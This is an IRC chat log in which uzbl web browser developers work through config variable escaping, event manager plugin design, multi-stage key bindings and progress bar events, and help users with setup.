18:59 < mason-l> Dieterbe_, Is there some special magic that happens to the status_format that doesn't happen to anything else?
19:00 < mason-l> I'm trying to split up the status_format a little into easily modifiable sections but the removed sections don't escape for some reason?
19:00 < Dieterbe_> how do yo mean?
19:01 < mason-l> Dieterbe_, Can you try this config http://dpaste.com/95625/
19:02 < mason-l> I made a new variable keycmd_format but I can't get it to show up correctly in the status_format
19:02 < mason-l> Is this a limitation of the expand function?
19:04 < Dieterbe_> hmm did you change the intire bar?
19:05 < Dieterbe_> the bar looks entirely different (more basic) to me
19:06 < Dieterbe_> and what's this? <span background="khaki" foreground="black">[\@[\@indicator]\@]</span> 
19:06 < mason-l> Nope I only removed the keycmd part
19:06 < Dieterbe_> where does @indicator come from?
19:06 < mason-l> Thats the mode indicator (I need to rename that to mode_indicator)
19:06 < mason-l> Set by the mode plugin.
19:06 < Dieterbe_> ah sorry i made a copypaste mistake
19:06 < mason-l> That was originally \@MODE
19:07 < Dieterbe_> maybe this is because expand() is only run once?
19:09 < mason-l> rob| may be able to help.
19:09 < Dieterbe_> for now maybe put keycmd_format back like it was
19:09 < mason-l> ^^ Ok.
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19:39 < rob|> re.
19:40 < jelly12gen> uzbl is working out nice for me
19:40 < jelly12gen> i tried it again since a while
19:40 < jelly12gen> but i heard there where major changes up ahead ?
19:45 < rob|> there are
19:45 < jelly12gen> but are users going to experience it or is it more under the hood ?
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19:47 < rob|> yeah, they most deifinitly will see the changes
19:47 < jelly12gen> so far i am fine with uzbl, just need to find a dl manager that fits my needs and i would like to know how i could get right of the <13344444> in the title
19:47 < jelly12gen> well title , uzbl session
19:48 < rob|> remove \@NAME from status_format
19:48 < jelly12gen> ok thanks
19:48 < rob|> erm, title_format that is
19:49 < jelly12gen> i dont have a title_format
19:49 < jelly12gen> oh wait
19:49 < jelly12gen> nevermind
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19:57 < jelly12gen> i still got my own download script that shows the progress in the bar, should upgrade it to handle multiple downloads nicely
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21:05 < rob|> hmm
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21:08 < Dieterbe_> mmh?
21:08 < rob|> thinking about a good chain replacement for the EM
21:09 < rob|> that can execure uzbl commands and "embedded" python code
21:09 < rob|> *execute
21:10 < rob|> something like: request on_event SOME_EVENT 'set foo = bar' 'python:code' ...
21:11 < Dieterbe_> you remind me of michael scofield
21:11 < rob|> why that?
21:12 < rob|> and who the hell is scofield? (pretends to not have googled ;)
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21:13 < Dieterbe_> you're always a step ahead of the rest.  you have these ideas that seem insane at first but you can pull them off and then everyone is amazed
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21:15 < Dieterbe_> not so sure about the python:code part though
21:15 < Dieterbe_>  ;i j
21:15 < Dieterbe_> qqiuz
21:15 < Dieterbe_> damn sorry
21:15 < rob|> well, that was just a weird idea, though being able to call python _functions_ from there seems like a cool thing
21:16 < Dieterbe_> what about:  request on_event SOME_EVENT 'set foo = bar' 'request EXECUTE_PYTHON "code here"' ...
21:16 < Dieterbe_> i.e. listen for events/requests called 'EXECUTE_PYTHON'
21:16 < rob|> hmm no, embedding events into other events seems odd
21:16 < rob|> don't like that form of recursion there
21:17 < Dieterbe_> well, the event way is more generic and can be used from other locations
21:18 < rob|> sure but the part after EVENT_NAME can be used by all event routined that need something chain like
21:18 < rob|> -->  request on_variable_change 'set x=y' '...'
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21:19 < rob|> that way we could easily have custom callbacks for variables with the exact same syntax and semantics as the on_event thing
21:19 < Dieterbe_> ah yeah, so my point becomes moot i guess
21:19 < Dieterbe_> now you lost me
21:20 < Dieterbe_> what's up with the on_variable_change?
21:21 < rob|> well, as of now custom variables cannot hold any callback functions (like uzbl's "internal" vars)
21:21 < Dieterbe_> could they ever?
21:21 < rob|> no, but we can easily provide it with the EM
21:22 < rob|> so whenever a variable ist set/changes value there is a event triggered (VARIABLE_SET)
21:22 < Dieterbe_> yeah sure.  i was referring to your 'as of now'
21:22 < Dieterbe_> yes
21:23 < rob|> right, so the EM listens for those events, looks into its on_var_change table and executes all commands when it finds a match
21:23 < rob|> e voila, custom callback functions for custiom variables with ease
21:24 < Dieterbe_> ok i get it
21:24 < rob|> same thing applies for all events of course
21:25 < Dieterbe_> but how do you define on _which_ variable change?
21:25 < rob|> easy:  request on_var_change VAR_NAME commands
21:25 < jelly12gen> hmmm uzbl fails with github
21:25 < jelly12gen> bummer
21:25 < Dieterbe_> ok
21:26 < jelly12gen> it just closes
21:26 < Dieterbe_> anyway i'm off to the local fair
21:26 < jelly12gen> goodbye
21:26 < Dieterbe_> see you guys later
21:27 < rob|> bye
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01:10 < mason-l> Dieterbe_, Are you still up?
01:10 < mason-l> My area had a power-outage last night so I couldn't push that config change.
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02:00 < mason-l> rob|, Let me know when you get online.
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02:55 < mason-l> Dieterbe_, Also, the sample config still uses cookies.py should this not be replaced by the cookie daemon talk_to_socket for use with uzbl-browser?
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03:58 < greg02> Of the configs listed on the wiki, are any emacs style?
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04:18 < mason-l> greg02, Theres nothing stopping you re-writing the default config in emacs style.
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04:21 < greg02> Not being an expert in uzbl, I was hoping there was a starting point, but I guess it'll just have to be from the very beginning :)
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04:38 < mason-l> greg02, Its made easier by using the experimental branch but its not entirely usable yet.
04:39 < greg02> uzbl in general, or Emacs keybindings?
04:39 < mason-l> In the experimental branch you can use any mixture of <Ctrl><BackSpace><Tab><Alt><...> in your commands.
04:39 < mason-l> The _ability_ to define emacs bindings.
04:40 < greg02> Ah, that sounds good. I guess I'll have to try that out.
04:40 < mason-l> Wait a moment first
04:40 < mason-l> Theres a few commits that fix the experimental repo that haven't been pulled yet.
04:40 < mason-l> Let me link you to the repo
04:47 < mason-l> greg02, clone git://github.com/mason-larobina/uzbl.git
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04:50 < mason-l> greg02, Let me know if you have any problems.
04:50 < mason-l> greg02, And check out the examples in the sample config uzbl/examples/config/uzbl/config
04:51 < greg02> Thanks
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05:25 < mason-l> greg02, Is it working?
05:27 < greg02> I just started playing with it, and I tried throwing in a few emacs-y key bindings, but for some reason I can't get any keyboard input (was just about to head to the readme)
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06:05 < mason-l> greg02, How are you launching it?
06:05 < greg02> mason-l: Through uzbl-browser
06:05 < mason-l> greg02, The branch needs to be installed with make install then update ALL of the scripts.
06:06 < mason-l> greg02, Because most of uzbl's functionality is now being handled by an event manager (with a boatload of plugins)
06:07 < greg02> mason-l: So that would entail a git clone, make, make install... and then what?
06:08 < mason-l> then: cp /usr/share/uzbl/examples/data/uzbl/scripts/* $XDG_DATA_HOME/uzbl/ -R
06:09 < mason-l> oh wait.
06:09 < mason-l> That might not be the correct folder..
06:10 < mason-l> its: cp /usr/local/share/uzbl/examples/data/uzbl/scripts/* $XDG_DATA_HOME/uzbl/ -R
06:11 < mason-l> brb lunch.
06:23 < greg02> I'm going to have at this fresh again tomorrow... thanks for your help
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08:30 < tstellar> Is there a way I can change the directory uzbl searches for plugins?
08:37 < mason-l> tstellar, Yeah
08:37 < mason-l> tstellar, run: ./event_manager.py --help
08:38 < mason-l> Ignore the "--plugin-dir=FILE" that should be "--plugin-dir=DIR"
08:43 < tstellar> mason-l: Is event_manager a script that comes with uzbl?
08:43 < mason-l> tstellar, Yeah
08:43 < mason-l> Its in the scripts dir.
08:44 < mason-l> tstellar, But only in the experimental repo.
08:44 < mason-l> And if you plan on grabbing it clone the repo from git://github.com/mason-larobina/uzbl.git  until Dieterbe_ gets back online./
08:46 < tstellar> Got it thanks.
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09:33 < rob|_> morning.
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09:43 < rob|> mason-l: hey!
09:43 < mason-l> rob|, HEY!
09:43 < rob|> just testing with all these new changes and things look really nice :)
09:44 < mason-l> rob|, I'm 99% done the "@bind <Ctrl>o<uri:>_ = uri %s"
09:44 < rob|> will push to diete's exp in a moment
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09:44 < mason-l> 'done on the
09:44 < rob|> oh, wow you're quick
09:44 < mason-l> :)
09:46 < rob|> btw, what do you think about imlementing a chain replacement into the EM?
09:46 < rob|> i was thinking of something like this:
09:46 < rob|> request on_event event_name 'command1' ... 'commandN'
09:47 < rob|> and it could also be used for:
09:47 < rob|> request on_var_change var_name 'command1' ... 'commandN'
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09:51 < rob|> one fancy possibility would be to be able to embedd python code into that chain, or at least call (python) functions from the EM/modules
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10:13 < mason-l> rob|, So use an "..." as the command separator?
10:14 < mason-l> Oh I see what you did.
10:16 < mason-l> rob|, The only reason I don't want to be doing the chaining in the event manager is then I would need to write an escaping function that tokenizes the incoming event/command string character by character. This is very performance consuming in python.
10:16 < mason-l> By at least 50 fold versus C.
10:17 < mason-l> Unless I write c code inside python which helps a lot.
10:18 < rob|> hmm, i see
10:19 < mason-l> Compiling a C string parser inside of the event manager is possible and people do it but I'm not sure if we want to go down that road.
10:20 < rob|> right, though we definitly need something chain like in order to replace the current event handlers
10:21 < mason-l> rob|, One way we could do it is to raise a CHAIN event which is parsed by a chain plugin. And its easy to write a python string parser that can parse a string as required.
10:22 < mason-l> The difference being that the string is only parsed when the CHAIN event is called not on every event.
10:22 < mason-l> The parsing on every event would be what would cause the huge slowdown.
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10:23 < rob|> ok, but why would you need to parse on every event?
10:24 < rob|> if you do it the way i described above you'd only need to parse once on 'request on_event ev_name bar baz' write the parsed string to a table/linked list
10:25 < rob|> compare incoming event names to the key of that table and iterate through the (linked list) of commands + execute them
10:26 < mason-l> rob|, Actually its not that much of a strain if you first check the string starts with chain then parse it.
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10:28 < rob|> still, i don't think that would be required at all if you just build up a hash {(key) event_name -> (value) pointer to linked list of commands}
10:29 < rob|> on every event you do if(current_event(name) == key_of_hash) { for i in hash_values:  send_to_uzbl(value) }
10:30 < mason-l> I think we are talking about two very different things.
10:31 < rob|> hmm, may be ;)
10:31 < mason-l> I think you're talking about writing an event callback that can be defined in the config?
10:31 < rob|> yes, exactly
10:32 < mason-l> What I thought you were talking about was moving the chain function to the EM.
10:32 < rob|> with the benefit that we could use its functionality for everything callback like, like defining custom callback for custom variables
10:33 < rob|> well, sort of. i guess with such an event callback we wouldn't need chain any more
10:35 < mason-l> So something like: "request EVENT_CALLBACK LINK_HOVER print %s"
10:35 < mason-l> Which would print the LINK_HOVER uri on LINK_HOVER.
10:42 < rob|> yeah
10:43 < rob|> i wouldn't do any string replacent, though. i.e. the commands should be just what uzbl accepts anyways
10:45 < mason-l> "@bind <Ctrl>o<uri:>_<uri1:>_ = uri %s %s" now works too!
10:46 < rob|> so you're example would be written as: request EVENT_CALLBACK LINK_HOVER print @SELECTED_URI
10:47 < mason-l> rob|, Is there the same for @KEY_PRESSED ?
10:47 < rob|> nice!
10:47 < rob|> well, there is @keycmd which holds all pressed keys
10:48 < mason-l> Evey one except the one just pressed.
10:51 < rob|> right, not much of a showstopper though as we could provide some means for this special case
10:51 < rob|> but for everything else this would be quite nice
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11:10 < Dieterbe_> morning mason-l , rob| etc
11:10 < rob|> hey dieter
11:12 < mason-l> Afternoon Dieterbe_
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11:23 < rob|> off, bbl. bye...
11:26 < Dieterbe_>  mason-l> Dieterbe_, Also, the sample config still uses cookies.py should this not be replaced by the cookie daemon talk_to_socket for use with uzbl-browser? <-- yeah we should do that. as long as we make sure that if you run make test-dev-browser it starts a new daemon and stops it when done
11:27 < mason-l> Dieterbe_, I've done half of that so far.
11:27 < mason-l> rob|, Can you let me know when you get back
11:27 < mason-l> rob|, I forgot to ask you a question about the status_format.
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12:10 < Dieterbe_> rob| / mason-l re: the chain stuff, can't we just have multiple handlers defined for the same event?
12:24 < mason-l> Dieterbe_, I think rob| meant that, I just didn't catch on soon enough.
12:25 < mason-l> Anyway Dieter could I get you to test my multi-stage-bingings?
12:28 < Dieterbe_> yeah
12:32 < mason-l> Give me a moment to commit and push the changes.
12:33 < Dieterbe_> k
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12:58 < mason-l> Dieterbe_, I've pushed the changes, give them a shot
12:58  * mason-l relaxes
12:58 < Dieterbe_> k
13:01 < Dieterbe_> hmmmm... prompt_style, commented out insert_from_bookmarks and uri commands, this is gonna be something special
13:01 < jelly12gen> uzbl still doesnt work with gmail :(
13:02 < jelly12gen> or wait it does
13:03 < mason-l> jelly12gen, Use the HTML version.
13:04 < mason-l> Dieterbe_, Try out the simplest use-case, press 'o'.
13:15 < Dieterbe_> mason-l: when you run test-dev-browser it will keep the cookie daemon running. so if you update the code and run make test-dev-browser it will use the old, running cookie manager
13:16 < Dieterbe_> cookie daemon*
13:17 < Dieterbe_> i'll add this to the todo list
13:17 < Dieterbe_> not a big thing
13:18 < Dieterbe_> well this looks nice
13:20 < mason-l> Dieterbe_, I'll add that in now.
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13:24 < github> uzbl: Mason Larobina experimental SHA1-5de1721
13:24 < github> Added new binding syntax which allows setting a customisable prompt mid-bind.
13:24 < github> http://bit.ly/JpBBd
13:24 < github> uzbl: Dieter Plaetinck experimental SHA1-7b4e41a
13:24 < github> Merge remote branch 'mason/experimental' into experimental
13:24 < github> http://bit.ly/21INEy
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13:27 < Hyperion2010> ok this is just wrong, gmail loads faster in uzbl running on my 7 year old athalon 64 than it does on my 3 year old q6600
13:28 < Hyperion2010> I blame the -03 compile flag
13:28 < Hyperion2010> but seriously
13:28 < Hyperion2010> freeking ajax
13:28 < mason-l> Hyperion2010, Use HTML mode.
13:29 < Hyperion2010> mason-l: eh if I want that i'll us links ;)
13:31 < mason-l> Dieterbe_, Can you think of any outstanding functionality we are missing in the experimental branch from the move to the EM?
13:34 < Dieterbe_> well there is a lot of things in doc/TODO, i'm not sure which are done and which are still pending
13:34 < Dieterbe_> also, a brief look at uzbl-core.h tells me we still need to move the progressbar, for example
13:35 < mason-l> Oh yeah
13:35 < mason-l> I can't wait to work on that.
13:35 < Dieterbe_> and throw out all the *_handler
13:35 < Dieterbe_> and cookies over EM (but we can delay that. it works okay for now)
13:36 < mason-l> Does webkit output number of objects requested for download and the number of objects downloaded so we can have an opera like progress bar output?
13:36 < mason-l> Cookies over the EM is the next big one.
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13:37 < mason-l> Dieterbe_, Are you happy with the current bind syntax? I know we've certainly deviated from the ideas in the TODO.
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13:38 < mason-l> There is a lot of stuff in the TODO.
13:39 < Dieterbe_> mason-l: not sure if webkit does that.  but the %-based progress callback is fine for me (for now)
13:39 < Dieterbe_> i'm not familiar with the new bind syntax enough yet.  but it looks to be at least better then what we had before, so it's fine for me now.  we can do the other ideas/features later
13:40 < mason-l> Dieterbe_, Did you try some of the prompt bind examples?
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13:41 < Dieterbe_> the 'o' stuff yeah.  i also tried the quit stuff but i don't get how it works
13:42 < mason-l> You press <Ctrl>a then release everything then press q or h
13:43 < Dieterbe_> yes, but i don't get the '<:>' part
13:44 < mason-l> Thats just a blank prompt
13:44 < mason-l> Fill it in and you get text
13:44 < mason-l> @bind <Ctrl>a<some text:>h = uri http://uzbl.org/
13:46 < Dieterbe_> i see.  and what's the purpose? i mean it's quite useful to see the "command string build up"
13:46 < mason-l> If people want multi-staged commands.
13:47 < mason-l> I.e. <Ctrl>a<:><Ctrl>b<:><Ctrl>c = uri http://reddit.com/
13:47 < mason-l> (^that works by the way)
13:47 < Dieterbe_> i see the use when you actually put something in the prompt. but i don't see the use of emptying the propmt
13:47 < mason-l> And its not the same as <Ctrl>abc = uri http://reddit.com/
13:48 < Dieterbe_> anyway i'm going to eat
13:48 < mason-l> Its possible to output a longer prompt with the previous args in it but not all commands take arguments.
13:48 < mason-l> Dieterbe_, ok.
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16:15 < rob|> mason-l: those multi-stage bindings are great!
16:16 < mason-l> rob|, So I take it they are working?
16:16 < mason-l> Did I miss anything?
16:17 < rob|> yeah working nicely, and no i don't see anything missing
16:18 < mason-l> Awesome :)
16:18 < mason-l> rob|, Oh I remember now
16:19 < mason-l> I need to ask you some questions about the status_format escaping and expanding
16:19 < rob|> ok
16:20 < mason-l> I tried to move some \@[\@keycmd]\@ outside of the status message but it doesn't seem to escape correctly and you see the literal '@[@keycmd]@' in the keycmd.
16:20 < mason-l> I'll send you an example config
16:20 < rob|> alright, i removed some calls to expand(), so it may be related to that
16:20 < rob|> well, most certainly
16:24 < rob|> anyways, the status_format expansion works like this:  when status_format is set it will expand the vars and each time update_title (update_gui) is called it will expand again
16:24 < Dieterbe_> my guess was that it only expands once
16:25 < rob|> so: set status_format = \@foo   expands to @foo and when update title is called it will expand to the contents of foo
16:25 < mason-l> Yeah I see a literal "[@[@keycmd_prompt]@@[@keycmd]@]" using my config
16:26 < rob|> you're probably escaping once to often
16:26 < mason-l> http://dpaste.com/95866/
16:26 < mason-l> Oh.
16:27 < rob|> this can happen if you try to exapnd variables that contain other variables
16:28 < mason-l> rob|, Consider the following: http://dpaste.com/95867/
16:30 < rob|> hmm, try it the other way around:  escape in keycmd_section and don't in status_format
16:30 < rob|> if this doesn't work i'll investigate
16:31 < mason-l> Results in: [testing@[@keycmd]@]
16:32 < rob|> hmm
16:33 < rob|> strange, so one var does expand and the other doesn't?
16:33 < mason-l> Yeah
16:33 < rob|> with escaping in keycmd_section and not in status_format, right?
16:34 < mason-l> set keycmd_section    = [<span>@[@keycmd_prompt]@</span><span>\@[\@keycmd]\@</span>]
16:35 < mason-l> oh wait
16:35 < mason-l> I see what you mean
16:36 < mason-l> She works!
16:36 < mason-l> :D
16:37 < rob|> hehe ok, so that's sorted
16:39 < rob|> so basically you need to escape in the first set call when using variables that hold other variables
16:41 < Dieterbe_> okay so where do we go from here?
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16:42 < rob|> i guess i'll have to read up on some good python tutorial
16:43 < Dieterbe_> 'dive into python'
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16:43 < rob|> ok, nice
16:43 < mason-l> Dive into python for versions 2.6 and below is outdated
16:43 < mason-l> And version 3 isn't in circulation much so its best to start on http://docs.python.org/tutorial/index.html
16:44 < mason-l> You could probably jump directly to the examples in each section then read up on something if it doesn't quite make sense.
16:45 < rob|> yeah, i just need something on data structures everything else should be pretty obvious i think
16:46 < Dieterbe_> don't be too convinced about that
16:46 < Dieterbe_> python is pretty 'unusual' in some aspects :P
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16:46 < mason-l> I know an awesome example of that
16:46 < rob|> i already played a bit with haskell and hope i can recall a couple of concepts
16:48 < mason-l> http://dpaste.com/95876/
16:48 < rob|> ok
16:49 < rob|> so for the event callbacks i guess we should use a dictionary holding sets as values
16:49 < mason-l> Dictionaries are Pythons Trees/Graphs/Hash-tables so yeah.
16:50  * mason-l should really work on some easy to follow example plugins.
16:50 < rob|> exactly but wait sets hold lists with no duplicate items, so this might not be what we need there
16:51 < rob|> better a dictionary holding simple lists as values
16:51 < mason-l> rob|, I'm not entirely sure what your talking about though...
16:51 < mason-l> Are you writing the event callback plugin?
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16:52 < rob|> well, i could give it a try but that would take some time until i get it right i guess
16:53 < rob|> actually that plugin is just a matter of finding good data structures to hold the values
16:53 < rob|> the logic is trivial
16:56 < rob|> Dieterbe_: are you familiar with python? that plugin might be a perfectly suited to jump into experimental and all of its concepts
16:56 < rob|> s/a //
16:57 < mason-l> Everything is exported already to make it super easy to do so.
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16:58 < mason-l> Just remember that any function in the plugin that is exported must take uzbl as the first argument.
16:58 < rob|> well, as Dieter wanted to be given some tasks i'd say just play around with this
16:59 < rob|> Dieterbe_: interested? if so i can explain again what exactly i was thinking about..
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17:02 < Dieterbe_> i'm about to be away for a while (maybe 30 min or so?)
17:03 < rob|> sure, just ping me when you're back again and interested in that task
17:04 < Dieterbe_> allright. but if i'm becoming a blocking factor then you can diy :P
17:04 < rob|> hehe, this can wait 30 mins
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17:14 < mason-l> rob|, What are you playing with at the moment?
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17:28 < mason-l> Hey holizz
17:29 < holizz> Hi, mason-l
17:29 < mason-l> Long time no talk.
17:29 < holizz> Indeed. I've been busy working.
17:29 < mason-l> That happens sadly.
17:30 < mason-l> Anyway you mentioned a few days ago that it was a bad decision to pull in the event_messages so soon without a working batch of plugins to go with it.
17:30 < mason-l> Well I think we've finally done that.
17:31 < mason-l> the event_messages branch
17:31 < mason-l> holizz, So you should check it out when you have some free time.
17:32 < holizz> mason-l, Yeah, I was looking at Dieterbe/experimental a couple of hours ago. It seems to work now.
17:33 < mason-l> I've been meaning to ask how your pyweb is going (if its still being developed or not)?
17:34 < mason-l> Because you might be able to re-use some event handling code in the experimental branch if you were going down that path in pyweb.
17:34 < holizz> Actually, somebody was interested in that, I think they made a commit or two.
17:35 < holizz> But this new way of doing things in uzbl does fix a few of the problems I had with uzbl's design. So I'll probably just use that.
17:36 < mason-l> Yay :)
17:44 < rob|> mason-l: up to nothing specific in the moment...
17:44 < rob|> just sitting here, drinking a beer and enjoing all the new cool things in uzbl :)
17:44 < rob|> +y
17:44 < mason-l> :)
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17:45 < mason-l> Well if you or Dieterbe_ are up to it I'd like to write a progress bar plugin to replace the internal progress bar handling.
17:45 < mason-l> So I can write some themes for it ;)
17:46 < rob|> i see, do you need any functionality from core for that?
17:46 < mason-l> Yeah, some progress % events.
17:46 < rob|> ok, let's see
17:47 < mason-l> And Dieterbe_ wasn't sure earlier if webkit was able to list the number of outgoing requests / finished requests.
17:47 < mason-l> Like opera does in its url bar.
17:47 < rob|> hmm, i'm not sure either
17:48 < mason-l> rob|, Also I've pushed some handy changes cleaning up a lot of the config to my repo if you would like to check it out.
17:49 < mason-l> It basically splits up the status_format into manageable tiny segments (like the keycmd_section, status_section, mode_section, ..)
17:50 < mason-l> And then crams them into the one: "set status_format = <span font_family="monospace">@mode_section @keycmd_section @progress_section @uri_section @name_section @status_section @selected_section</span>"
17:51 < rob|> right, already pulled that and it seems to work nice
17:51 < mason-l> And I've fixed the test-dev-browser make target to launch the correct cookie daemon.
17:51 < mason-l> And close it when its done.
17:52 < rob|> i'll add a LOAD_PROGRESS event now. i guess we should output the progress as numeric value only, i.e. without a % sign
17:52 < mason-l> rob|, That would make it easier to parse.
17:53 < rob|> right
17:53 < mason-l> How often will it update?
17:53 < mason-l> I mean fire an event
17:57 < rob|> just tested with a couple of sites and it seems to update in steps of 2%
17:57 < rob|> or more occasionaly
17:57 < rob|> pushed to my tree but didn't remove the old code, yet
17:58 < mason-l> Ok, I'll just replace the variable in the status_bar (which I'll need to do anyway).
17:58 < rob|> so you can test wether the internal and EM indicator show up the same values for now
17:58 < mason-l> ^^ That also :)
17:59 < rob|> btw, you can probably just reuse the code to compute string lenghth and such
17:59 < rob|> it's in build_progress_bar_ascii()
18:00 < mason-l> Its too easy to do from scratch in python :P
18:00 < rob|> ah, ok
18:03 < mason-l> Got any good ideas for progress bar styles?
18:03 < greg02> If you want to keybind enter to something, would it be <Enter>?
18:04 < mason-l> greg02, Its <Return>
18:04 < mason-l> but <Return> will not work by itself.
18:05 < greg02> It's considered a modifier?
18:05 < mason-l> You can do any combination of <Space><Return>   <Escape><Return>   <Alt><Return>
18:05 < mason-l> etc
18:05 < mason-l> greg02, A little more than that.
18:06 < greg02> Well, there goes my first idea.
18:06 < mason-l> greg02, You can bind <Space>
18:07 < mason-l> If thats any consolation.
18:20 < rob|> mason-l: well one cool progress style would be a spinning bar composed of: - / | and \
18:21 < Dieterbe_> ugh
18:21 < Dieterbe_> those things are.. weird
18:22 < mason-l> rob|, I'll do it :D
18:23 < rob|> hehe
18:23 < rob|> so dieter, ready for some hacking?
18:24 < Dieterbe_> sure. just tell me what to do
18:25 < rob|> alright, an EM plugin that reacts to ON_EVENT events and sends a couple of commands to uzbl when a specific event occurs, like so:
18:26 < rob|> request on_event LINK_HOVER 'set foo=bar' 'print baz raz' '... etc ...'
18:26 < Dieterbe_> btw about the progress bar: i guess we will throw out all progressbar related stuff in uzbl-core? the only thing we need is an event raised by the callback function. everything else can be done outside uzbl-core
18:26 < rob|> in the above case it would catch LINK_HOVER events and send all specified commands back to uzbl
18:27 < rob|> i suggest to split the functionality into 2 plugins one for the event catching the for the command parsing and sending back to uzbl
18:27 < rob|> so we can reuse this thing for VARIABLE_SET events
18:28 < rob|> Dieterbe_: yeah, that's already done. just didn't push back to you yet
18:28 < mason-l> So how are you going to raise these callback events?
18:28 < Dieterbe_> webkit has a signal for it
18:28 < mason-l> Dieterbe_, I mean in the config
18:28 < rob|> mason-l: not sure what you mean?
18:28 < mason-l> I should have said define
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18:29 < rob|> mason-l: oh, like i wrote abobe:  request on_event LINK_HOVER 'set foo=bar' 'print baz raz' '... etc ...'
18:29 < Dieterbe_> well you just load an EM plugin that does something with it?
18:29 < mason-l> Oh you've already said above.
18:29 < rob|> i.e. with a cutom ON_EVENT event
18:30 < mason-l> rob|, I don't think theres a need to set multiple callbacks at once. I would "@on_event LINK_HOVER set foo=bar" "@on_event LINK_HOVER print baz raz"
18:30 < scj> what is the difference between the upper and lower case words?
18:31 < mason-l> scj, Ones a shortcut for: raise ON_EVENT
18:31 < mason-l> scj, So thats: "set on_event = raise ON_EVENT" then "@on_event LINK_HOVER set foo=bar"
18:32 < rob|> well, the event and request commands are actually case insensitive and will transform the event name to the correct case implicitly
18:33 < rob|> the plugin should do this, too
18:33 < scj> just wondering if there is some actual convention or just random
18:33 < rob|> for the event argument that is
18:33 < mason-l> rob|, Everything up to the event argument that is.
18:33 < mason-l> rob|, A lowercase link_hover wont be transformed by uzbl-core.
18:34 < rob|> no, that's why i suggest the event plugin does it
18:34 < mason-l> So make sure to str.upper() somewhere in the plugin.
18:34 < mason-l> Yeah
18:34 < rob|> exactly
18:35 < Dieterbe_> rob|: i kinda agree with mason-l : why the need to couple multiple commands at once to some arbitrary event?
18:35 < rob|> scj: the convetion is that event names are alawys uppercase, but the user does not have to worry about that
18:35 < Dieterbe_> why not bind them all after each other separately?
18:35 < rob|> sure, no special reason for the coupling
18:36 < rob|> it would just resemble chain
18:36 < scj> chain actually had it's drawbacks. it would be better to call multiple 'request on_events' on the same event
18:36 < mason-l> But the difference here is that there is not pressure to cram every command into one little load_start_handler variable.
18:36 < rob|> right, so let's go the easy way
18:37 < mason-l> :)
18:37 < Dieterbe_> yep
18:37 < Dieterbe_> and now the hardest part of it all: how will call this thing
18:37 < Dieterbe_> misc_event_binder ?
18:37 < rob|> why not simply and clearly 'ON_EVENT'
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18:38 < rob|> it kinda implies that it will do some thing on the reception of an event, wouldn't it?
18:38 < Dieterbe_> yea
18:38 < rob|> the user can still abbreviate it to something he likes better
18:40 < rob|> Dieterbe_: also i'd suggest to use a dictionary (hash) of lists for it
18:41 < rob|> where the key is the event name and the list elements the commands
18:41 < mason-l> Thats the way to go
18:41 < mason-l> Remember to have a parent UZBLS = {} dict to store the event dictionaries for each uzbl instance (for when its implemented).
18:41 < rob|> later we could add a ON_EVENT_REMOVE command that simply deletes the specified element from the list
18:41 < rob|> s/command/event/
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18:44 < github> uzbl: Mason Larobina experimental SHA1-4ce8efc
18:44 < github> Broke up status_format in the config into manageable pieces.
18:44 < github> http://bit.ly/18Qp7L
18:44 < github> uzbl: Mason Larobina experimental SHA1-26afac3
18:44 < github> Launch the correct cookie daemon when using the test-dev-browser make target.
18:44 < github> http://bit.ly/pZboi
18:44 < github> uzbl: Mason Larobina experimental SHA1-e734b9f
18:44 < github> Naming consistency fix.
18:44 < github> http://bit.ly/q64nK
18:45 < github> uzbl: Dieter Plaetinck experimental SHA1-e5a1e7e
18:45 < github> todo updates
18:45 < github> http://bit.ly/VfzId
18:45 < github> uzbl: Dieter Plaetinck experimental SHA1-e5feeb4
18:45 < github> Merge remote branch 'mason/experimental' into experimental
18:45 < github> http://bit.ly/qzXxG
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18:45 < Dieterbe_> mason-l: i find it a bit weird that 'stack' is a mode just like command mode and insert mode.  it seems to me that stack mode is one of the possibilities "inside" command mode
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18:47 < mason-l> Dieterbe_, I made it like that to make it easier to tell when to clear the prompt
18:47 < mason-l> And that means people can define their on @mode_config for stack also.
18:47 < mason-l> Like a custom status_format
18:48 < Dieterbe_> i see
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18:48 < mason-l> Just another one of these options for people to explore, most wont :)
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18:49 < rob|> that doesn't matter, the ones who care surely will tinker with that, too
18:49 < mason-l> Dieterbe_, Also is that test-dev-browser target launching the cookie daemon correctly for you?
18:50 < mason-l> Dieterbe_, And you can "@mode_config stack mode_indicator = Cmd" if its distracting.
18:50 < mason-l> You won't even know you are in the stack mode.
18:51 < mason-l> And you can go one further and do away with command and insert modes altogether and replace them with foo and bar modes.
18:52 < rob|> the nice thing is that the variable approach shows its benefits, eventually. it's quite easy for external scripts to make great use of it
18:52 < Dieterbe_> mason-l: it looks correct yes. but i didn't actually verify it
18:53 < Dieterbe_> "the variable approach" ?
18:53 < Dieterbe_> @ rob| ^^
18:53 < mason-l> Dieterbe_, The only issue I suppose is the daemon closing after the original uzbl window that was opened closes, but people can just install uzbl to overcome that :P
18:54 < Dieterbe_> mason-l: why does each plugin hve it's own definition of echo,error, etc?
18:54 < mason-l> Dieterbe_, Because otherwise they would output "event_manager.py: %msg" instead of "bind plugin: %msg"
18:55 < Dieterbe_> i find it hard to believe there is no cleaner way then that
18:55 < Dieterbe_> maybe : def echo (prefix, msg)
18:55 < mason-l> There probably is.
18:55 < Dieterbe_> where prefix is 'bind plugin' etc
18:56 < Dieterbe_> or some automagic way that the code could know what the prefix should be, without explicitly passing anything
18:56 < mason-l> I would prefer to use the script name inside each echo and error function but I cant remember how to reliably get the scriptname of a plugin.
19:00 < rob|> < Dieterbe_> "the variable approach" ?  <--- well, uzbls variables and custom vars. they where usefull with master, too but the EM makes even more use of those
19:01 < Dieterbe_> yes
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19:06 < mason-l> Frots is away
19:07 < rob|> so mason, i guess it was during the power outage over there when we discussed the on_event thing yesterday.
19:07 < Frots> ni
19:07 < Frots> no
19:07 < Frots> im back
19:07 < Frots> I was lagging, why? mason-l
19:07 < rob|> what do you think about the possiblity to only be able to pass uzbl commands like that but also "embedded" python code or at least python functions?
19:07 < mason-l> Frots, Remind me why I know that, oh wait.. you announce it every 10 minutes.
19:07 < mason-l> Frots, Please turn off those silly messages.
19:08 < Frots> oh im sorry sir
19:08 < rob|> that way we wouln't need to implement every possible command into core itself but just call external functions
19:08 < Frots> didnt know you were so
19:08 < Frots> btw it was 30 minutes so i'd buy a new watch if i were you mason-l
19:08 < mason-l> Frots, :)
19:09 < rob|> ^^ to not only be able
19:09 < mason-l> rob|, Well theres nothing stopping us implementing a python command. And python commands are executed inside the EM.
19:09 < rob|> exactly
19:10 < rob|> something like:  request on_event FOO_EVENT python:do_something_fancy
